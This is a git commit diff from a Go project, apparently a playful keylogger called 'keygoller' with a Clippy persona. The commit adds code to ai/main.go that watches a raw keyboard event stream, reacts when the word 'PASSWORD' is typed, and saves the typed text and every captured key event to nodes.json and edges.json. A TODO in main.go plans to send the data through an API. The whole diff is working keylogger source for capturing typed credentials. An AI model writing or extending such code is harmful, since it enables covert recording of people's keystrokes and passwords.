saving interesing data into json file following a specifig scheme of nodes and edges
This commit is contained in:
parent
522cdd0f3d
commit
8dcd53541f
2 changed files with 71 additions and 3 deletions
72
ai/main.go
72
ai/main.go
|
@ -1,25 +1,32 @@
|
|||
package ai
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
"git.postblue.info/keygoller/utils"
|
||||
"github.com/google/uuid"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
// ReadFromStream is the main AI function, it reads from the stream of the keys
|
||||
// and then answers if some conditions are met.
|
||||
func ReadFromStream(inputChan chan utils.InputEvent) {
|
||||
var b strings.Builder
|
||||
input := make([]utils.InputEvent, 0)
|
||||
for {
|
||||
data := <-inputChan
|
||||
b.WriteString(data.KeyString())
|
||||
input = append(input, data)
|
||||
|
||||
switch b.String() {
|
||||
case b.String():
|
||||
if findPassword(b.String()) {
|
||||
utils.ClippySays("I LIKE YOUR PASSWORD")
|
||||
|
||||
saveData(b.String(), input)
|
||||
b.Reset()
|
||||
}
|
||||
if findLove(b.String()) {
|
||||
|
@ -33,6 +40,69 @@ func ReadFromStream(inputChan chan utils.InputEvent) {
|
|||
}
|
||||
}
|
||||
|
||||
type Node struct {
|
||||
ID uuid.UUID
|
||||
Word string `json:"word"`
|
||||
}
|
||||
|
||||
type Edge struct {
|
||||
ID uuid.UUID
|
||||
NodeID uuid.UUID `json:"NodeID"`
|
||||
Keys []utils.InputEvent `json:"keys"`
|
||||
}
|
||||
|
||||
func saveData(word string, keysPressed []utils.InputEvent) {
|
||||
err := fileExists("nodes.json")
|
||||
err = fileExists("edges.json")
|
||||
if err != nil {
|
||||
logrus.Error(err)
|
||||
}
|
||||
|
||||
nodeFile, err := ioutil.ReadFile("nodes.json")
|
||||
edgeFile, err := ioutil.ReadFile("edges.json")
|
||||
if err != nil {
|
||||
logrus.Error(err)
|
||||
}
|
||||
|
||||
nodeDatas := []Node{}
|
||||
edgeDatas := []Edge{}
|
||||
|
||||
json.Unmarshal(nodeFile, &nodeDatas)
|
||||
json.Unmarshal(edgeFile, &edgeDatas)
|
||||
|
||||
node := &Node{
|
||||
ID: uuid.New(),
|
||||
Word: word,
|
||||
}
|
||||
|
||||
edge := &Edge{
|
||||
ID: uuid.New(),
|
||||
NodeID: node.ID,
|
||||
Keys: keysPressed,
|
||||
}
|
||||
|
||||
nodeDatas = append(nodeDatas, *node)
|
||||
edgeDatas = append(edgeDatas, *edge)
|
||||
|
||||
nodeBytes, err := json.Marshal(nodeDatas)
|
||||
edgeBytes, err := json.Marshal(edgeDatas)
|
||||
|
||||
ioutil.WriteFile("nodes.json", nodeBytes, 0644)
|
||||
ioutil.WriteFile("edges.json", edgeBytes, 0644)
|
||||
|
||||
}
|
||||
|
||||
func fileExists(filename string) error {
|
||||
_, err := os.Stat(filename)
|
||||
if os.IsNotExist(err) {
|
||||
_, err := os.Create(filename)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func findPassword(input string) bool {
|
||||
r, _ := regexp.Compile("PASSWORD")
|
||||
|
||||
|
|
2
main.go
2
main.go
|
@ -117,8 +117,6 @@ func main() {
|
|||
utils.ClippySays("i am here to help")
|
||||
|
||||
// TODO
|
||||
// !) get streaming data from keyboard
|
||||
// 2 unpackage the data to be human readable
|
||||
// 3 stream the data through an api
|
||||
StreamChannel := make(chan utils.InputEvent)
|
||||
keyboard := getKeyboard()
|
||||
|
|
Loading…
Reference in a new issue